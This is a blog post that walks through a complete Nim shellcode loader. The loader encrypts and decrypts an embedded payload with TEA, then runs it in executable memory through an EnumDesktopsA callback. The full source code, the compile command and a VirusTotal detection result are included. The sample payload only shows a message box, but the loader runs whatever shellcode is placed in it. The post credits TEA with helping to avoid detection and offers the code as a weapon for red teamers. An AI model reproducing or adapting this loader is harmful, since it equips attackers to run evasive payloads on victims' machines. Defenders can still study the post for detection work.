13 minute read

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on using TEA encryption on malware development, but the main difference using Nim language instead C/C++. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

So, today I’m sharing a Nim implementation of the Tiny Encryption Algorithm (TEA) that can be used to encrypt and decrypt payloads. This builds on my previous posts about malware cryptography techniques.

practical example

This section provides a detailed, function-by-function explanation of my Nim implementation.

First of all we need imports and type definitions. In this case, we need:
winim - provides Windows API bindings (used for memory allocation & execution).
strformat - used for formatted string output (e.g., &”{b:02x}”).
DESKTOPENUMPROCA - a callback function type for EnumDesktopsA, later used to execute payload.

import winim
import strformat

type
  DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}

Then, TEA encryption logic:

proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0u32
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of encryption
    sum += delta
    v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])

Initializes sum = 0 and delta = 0x9e3779b9 (a magic constant). Then, performs 32 rounds of Feistel network operations: each round mixes the block with the key using bit shifts (shl, shr), XOR (xor), and addition.

Next one is TEA decryption logic:

proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0xC6EF3720'u32  # inverse of delta
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of decryption
    v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
    v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    sum -= delta

Same as encrypt, starts with sum = 0xC6EF3720 (delta × 32). Reverses the encryption process in 32 rounds. Subtracts instead of adds to undo the transformations.

Next logic is padding, since TEA uses 8-byte blocks. In my code I used PKCS#7 style padding. We need to calculates how many bytes are needed for padding. If data is already aligned, returns it unchanged. Otherwise, appends padding bytes where each byte equals the padding length (e.g., 3 bytes -> 0x03 0x03 0x03):

proc padData(data: seq[byte], blockSize: int): seq[byte] =
  let padding = blockSize - (data.len mod blockSize)
  if padding == blockSize: return data  # No padding needed
  result = data & newSeq[byte](padding)
  for i in 0..<padding:
    result[data.len + i] = byte(padding)  # PKCS#7 style padding

and unpadding:

proc unpadData(data: seq[byte]): seq[byte] =
  if data.len == 0: return data
  let padding = int(data[^1])
  if padding > data.len: return data  # Invalid padding
  result = data[0 ..< data.len - padding]

Also, implemented helper functions, byte-to-word conversion:

proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
  if data.len mod 8 != 0:
    raise newException(ValueError, "Data length must be multiple of 8 bytes")
  
  result = newSeq[array[2, uint32]](data.len div 8)
  for i in 0 ..< result.len:
    let offset = i * 8
    result[i][0] = cast[uint32](data[offset]) or (cast[uint32](data[offset+1]) shl 8) or 
                  (cast[uint32](data[offset+2]) shl 16) or (cast[uint32](data[offset+3]) shl 24)
    result[i][1] = cast[uint32](data[offset+4]) or (cast[uint32](data[offset+5]) shl 8) or 
                  (cast[uint32](data[offset+6]) shl 16) or (cast[uint32](data[offset+7]) shl 24)

and word-to-byte conversion logic:

proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
  result = newSeq[byte](data.len * 8)
  for i in 0 ..< data.len:
    let offset = i * 8
    result[offset]   = byte(data[i][0] and 0xFF)
    result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
    result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
    result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
    result[offset+4] = byte(data[i][1] and 0xFF)
    result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
    result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
    result[offset+7] = byte((data[i][1] shr 24) and 0xFF)

and finally, main execution flow:

when isMainModule:
  # define a 128-bit key (4 x uint32)
  let key: array[4, uint32] = [0x01234567'u32, 0x89abcdef'u32, 0xfedcba98'u32, 0x76543210'u32]

  # define the payload
  var data: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

  echo "original data (", data.len, " bytes):"
  for b in data:
    stdout.write &"{b:02x} "
  echo ""

  # pad data to ensure it's a multiple of 8 bytes
  let paddedData = padData(data, 8)
  echo "\npadded data (", paddedData.len, " bytes):"
  for b in paddedData:
    stdout.write &"{b:02x} "
  echo ""

  # convert to uint32 blocks for encryption
  var uint32Blocks = bytesToUint32(paddedData)
  
  # encrypt all blocks
  for i in 0..<uint32Blocks.len:
    encrypt(uint32Blocks[i], key)
  
  let encryptedBytes = uint32ToBytes(uint32Blocks)
  echo "\nencrypted data (", encryptedBytes.len, " bytes):"
  for b in encryptedBytes:
    stdout.write &"{b:02x} "
  echo ""

  # decrypt all blocks
  for i in 0..<uint32Blocks.len:
    decrypt(uint32Blocks[i], key)
  
  # convert back to bytes
  var decryptedBytes = uint32ToBytes(uint32Blocks)
  
  # remove padding
  decryptedBytes = unpadData(decryptedBytes)
  
  echo "\ndecrypted data (", decryptedBytes.len, " bytes):"
  for b in decryptedBytes:
    stdout.write &"{b:02x} "
  echo ""

  if decryptedBytes == data:
    echo "\nsuccess: decrypted data matches original =^..^="
  else:
    echo "\nerror: decrypted data doesn't match original :("
    # find the first mismatch
    var mismatchPos = -1
    for i in 0..<min(decryptedBytes.len, data.len):
      if decryptedBytes[i] != data[i]:
        mismatchPos = i
        break
    if mismatchPos >= 0:
      echo "first mismatch at byte: ", mismatchPos
    else:
      echo "length mismatch: original ", data.len, " bytes, decrypted ", decryptedBytes.len, " bytes"

  let mem = VirtualAlloc(NULL, cast[SIZE_T](decryptedBytes.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], cast[SIZE_T](decryptedBytes.len))
  let payloadProc = cast[DESKTOPENUMPROCA](mem)
  discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)

As you can see, execution technique used EnumDesktopsA as usually.

Full source code of this looks like this hack.nim:

import winim
import strformat

type
  DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}

# TEA encryption and decryption
proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0u32
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of encryption
    sum += delta
    v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])

proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0xC6EF3720'u32  # inverse of delta
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of decryption
    v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
    v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    sum -= delta

# padding function to make the data length a multiple of 8 bytes
proc padData(data: seq[byte], blockSize: int): seq[byte] =
  let padding = blockSize - (data.len mod blockSize)
  if padding == blockSize:  # No padding needed
    return data
  result = data & newSeq[byte](padding)
  for i in 0..<padding:
    result[data.len + i] = byte(padding)  # PKCS#7 style padding

proc unpadData(data: seq[byte]): seq[byte] =
  if data.len == 0:
    return data
  let padding = int(data[^1])
  if padding > data.len:
    return data  # invalid padding, return as-is
  result = data[0 ..< data.len - padding]

proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
  if data.len mod 8 != 0:
    raise newException(ValueError, "Data length must be multiple of 8 bytes")
  
  result = newSeq[array[2, uint32]](data.len div 8)
  for i in 0 ..< result.len:
    let offset = i * 8
    result[i][0] = cast[uint32](data[offset]) or 
                  (cast[uint32](data[offset+1]) shl 8) or 
                  (cast[uint32](data[offset+2]) shl 16) or 
                  (cast[uint32](data[offset+3]) shl 24)
    result[i][1] = cast[uint32](data[offset+4]) or 
                  (cast[uint32](data[offset+5]) shl 8) or 
                  (cast[uint32](data[offset+6]) shl 16) or 
                  (cast[uint32](data[offset+7]) shl 24)

proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
  result = newSeq[byte](data.len * 8)
  for i in 0 ..< data.len:
    let offset = i * 8
    result[offset]   = byte(data[i][0] and 0xFF)
    result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
    result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
    result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
    result[offset+4] = byte(data[i][1] and 0xFF)
    result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
    result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
    result[offset+7] = byte((data[i][1] shr 24) and 0xFF)

when isMainModule:
  # define a 128-bit key (4 x uint32)
  let key: array[4, uint32] = [0x01234567'u32, 0x89abcdef'u32, 0xfedcba98'u32, 0x76543210'u32]

  # define the payload
  var data: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

  echo "original data (", data.len, " bytes):"
  for b in data:
    stdout.write &"{b:02x} "
  echo ""

  # pad data to ensure it's a multiple of 8 bytes
  let paddedData = padData(data, 8)
  echo "\npadded data (", paddedData.len, " bytes):"
  for b in paddedData:
    stdout.write &"{b:02x} "
  echo ""

  # convert to uint32 blocks for encryption
  var uint32Blocks = bytesToUint32(paddedData)
  
  # encrypt all blocks
  for i in 0..<uint32Blocks.len:
    encrypt(uint32Blocks[i], key)
  
  let encryptedBytes = uint32ToBytes(uint32Blocks)
  echo "\nencrypted data (", encryptedBytes.len, " bytes):"
  for b in encryptedBytes:
    stdout.write &"{b:02x} "
  echo ""

  # decrypt all blocks
  for i in 0..<uint32Blocks.len:
    decrypt(uint32Blocks[i], key)
  
  # convert back to bytes
  var decryptedBytes = uint32ToBytes(uint32Blocks)
  
  # remove padding
  decryptedBytes = unpadData(decryptedBytes)
  
  echo "\ndecrypted data (", decryptedBytes.len, " bytes):"
  for b in decryptedBytes:
    stdout.write &"{b:02x} "
  echo ""

  if decryptedBytes == data:
    echo "\nsuccess: decrypted data matches original =^..^="
  else:
    echo "\nerror: decrypted data doesn't match original :("
    # find the first mismatch
    var mismatchPos = -1
    for i in 0..<min(decryptedBytes.len, data.len):
      if decryptedBytes[i] != data[i]:
        mismatchPos = i
        break
    if mismatchPos >= 0:
      echo "first mismatch at byte: ", mismatchPos
    else:
      echo "length mismatch: original ", data.len, " bytes, decrypted ", decryptedBytes.len, " bytes"

  let mem = VirtualAlloc(NULL, cast[SIZE_T](decryptedBytes.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
  RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], cast[SIZE_T](decryptedBytes.len))
  let payloadProc = cast[DESKTOPENUMPROCA](mem)
  discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)

Here’s my complete Nim implementation that:

  • encrypts a payload with TEA
  • decrypts it back
  • executes the decrypted payload in memory

As usual, used meow-meow meesagebox payload:

var data: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

demo

Let’s go to see everything in action. Compile it (in my linux machine):

nim c -d:mingw --cpu:amd64 hack.nim

cryptography

Then, just run it in the victim’s machine (windows 10 22H2 x64 in my case):

.\hack.exe

cryptography

Nice! As you can see, everything is worked perfectly! =^..^=

Let’s upload our implementation to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/7739d7d00eb36a1b339f8e60dcd06a1f40410eac970440987c838b6ac8d46221/detection

So, only 25 of 71 AV engines detect our file as malicious.

One of my readers ask me, why use TEA in malware and why it’s worked as expected in most cases?

  • small footprint: Perfect for constrained environments
  • fast execution: Important for minimizing detection windows
  • simple implementation: Easy to port between languages
  • adequate security: Provides sufficient protection against casual analysis

TEA provides a good balance between implementation complexity and security for many use cases. While TEA is older, its simplicity makes it ideal for certain scenarios. Modern malware might use more advanced algorithms, but the core concepts remain similar.

I hope this post is useful for malware researchers, C/C++ and Nim programmers, spreads awareness to the blue teamers of this interesting encryption technique and Nim implementation, and adds a weapon to the red teamers arsenal.

Run shellcode via EnumDesktopsA
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine